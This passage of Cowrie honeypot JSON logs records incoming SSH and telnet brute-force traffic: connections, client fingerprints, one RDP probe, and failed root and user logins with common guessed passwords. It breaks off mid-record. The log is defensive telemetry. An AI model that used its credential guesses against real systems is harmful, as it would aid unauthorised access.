{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:44.340840Z","src_ip":"46.19.67.181","session":"44fe03533bdb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"beautiful","message":"login attempt [root/beautiful] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:44.683768Z","src_ip":"46.19.67.181","session":"44fe03533bdb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":43144,"dst_ip":"159.203.135.109","dst_port":22,"session":"1c02baa08106","protocol":"ssh","message":"New connection: 176.65.132.129:43144 (159.203.135.109:22) [session: 1c02baa08106]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:44.725796Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:44.731655Z","src_ip":"176.65.132.129","session":"1c02baa08106","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"topgun","message":"login attempt [root/topgun] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:44.736664Z","src_ip":"14.103.103.211","session":"6956c6fef10b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:44.814139Z","src_ip":"176.65.132.129","session":"1c02baa08106","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"welcome1","message":"login attempt [root/welcome1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:45.065606Z","src_ip":"176.65.132.129","session":"1c02baa08106","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:45.801153Z","src_ip":"46.19.67.181","session":"44fe03533bdb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.0","message":"Connection lost after 7.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:45.981436Z","src_ip":"14.103.103.211","session":"6956c6fef10b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:46.152261Z","src_ip":"176.65.132.129","session":"1c02baa08106","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":58973,"dst_ip":"159.203.135.109","dst_port":22,"session":"86aaf237d7d3","protocol":"ssh","message":"New connection: 152.42.212.128:58973 (159.203.135.109:22) [session: 86aaf237d7d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:46.850444Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:46.855702Z","src_ip":"152.42.212.128","session":"86aaf237d7d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:46.861620Z","src_ip":"152.42.212.128","session":"86aaf237d7d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34664,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad033f7f5699","protocol":"telnet","message":"New connection: 152.42.224.71:34664 (10.17.0.5:23) [session: ad033f7f5699]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:47.798445Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":46726,"dst_ip":"159.203.135.109","dst_port":22,"session":"dd6a8861b704","protocol":"ssh","message":"New connection: 176.65.132.129:46726 (159.203.135.109:22) [session: dd6a8861b704]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:47.954478Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:47.959483Z","src_ip":"176.65.132.129","session":"dd6a8861b704","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:48.041830Z","src_ip":"176.65.132.129","session":"dd6a8861b704","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jamalihassab","password":"123456","message":"login attempt [jamalihassab/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:48.290306Z","src_ip":"176.65.132.129","session":"dd6a8861b704","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:49.403746Z","src_ip":"176.65.132.129","session":"dd6a8861b704","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":46738,"dst_ip":"159.203.135.109","dst_port":22,"session":"567740b6f899","protocol":"ssh","message":"New connection: 176.65.132.129:46738 (159.203.135.109:22) [session: 567740b6f899]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:51.183816Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:51.190634Z","src_ip":"176.65.132.129","session":"567740b6f899","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:51.272627Z","src_ip":"176.65.132.129","session":"567740b6f899","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test123","message":"login attempt [root/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:51.519781Z","src_ip":"176.65.132.129","session":"567740b6f899","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.249.28.115","src_port":53210,"dst_ip":"159.203.135.109","dst_port":22,"session":"b1a9f9e79bda","protocol":"ssh","message":"New connection: 23.249.28.115:53210 (159.203.135.109:22) [session: b1a9f9e79bda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:52.189519Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:52.195258Z","src_ip":"23.249.28.115","session":"b1a9f9e79bda","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:52.388591Z","src_ip":"23.249.28.115","session":"b1a9f9e79bda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:52.605012Z","src_ip":"176.65.132.129","session":"567740b6f899","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"spanky","message":"login attempt [root/spanky] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:53.200747Z","src_ip":"23.249.28.115","session":"b1a9f9e79bda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:54.397310Z","src_ip":"23.249.28.115","session":"b1a9f9e79bda","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":46740,"dst_ip":"159.203.135.109","dst_port":22,"session":"1c6297f9289f","protocol":"ssh","message":"New connection: 176.65.132.129:46740 (159.203.135.109:22) [session: 1c6297f9289f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:54.624064Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:54.628790Z","src_ip":"176.65.132.129","session":"1c6297f9289f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:54.710870Z","src_ip":"176.65.132.129","session":"1c6297f9289f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tesTtest123a","message":"login attempt [root/tesTtest123a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:54.957216Z","src_ip":"176.65.132.129","session":"1c6297f9289f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34678,"dst_ip":"10.17.0.5","dst_port":23,"session":"c7b29bee0741","protocol":"telnet","message":"New connection: 152.42.224.71:34678 (10.17.0.5:23) [session: c7b29bee0741]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:55.158258Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:56.042337Z","src_ip":"176.65.132.129","session":"1c6297f9289f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49154,"dst_ip":"10.17.0.5","dst_port":23,"session":"04c01221108d","protocol":"telnet","message":"New connection: 152.42.224.71:49154 (10.17.0.5:23) [session: 04c01221108d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:57.639916Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":36082,"dst_ip":"159.203.135.109","dst_port":22,"session":"941775effdcd","protocol":"ssh","message":"New connection: 176.65.132.129:36082 (159.203.135.109:22) [session: 941775effdcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:57.940398Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:57.945968Z","src_ip":"176.65.132.129","session":"941775effdcd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:58.028881Z","src_ip":"176.65.132.129","session":"941775effdcd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trinity","password":"trinity","message":"login attempt [trinity/trinity] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:58.275724Z","src_ip":"176.65.132.129","session":"941775effdcd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49156,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1558c9bda91","protocol":"telnet","message":"New connection: 152.42.224.71:49156 (10.17.0.5:23) [session: a1558c9bda91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:58.917515Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:59.360484Z","src_ip":"176.65.132.129","session":"941775effdcd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":36084,"dst_ip":"159.203.135.109","dst_port":22,"session":"64a23eed06b2","protocol":"ssh","message":"New connection: 176.65.132.129:36084 (159.203.135.109:22) [session: 64a23eed06b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:01.200280Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:01.206181Z","src_ip":"176.65.132.129","session":"64a23eed06b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 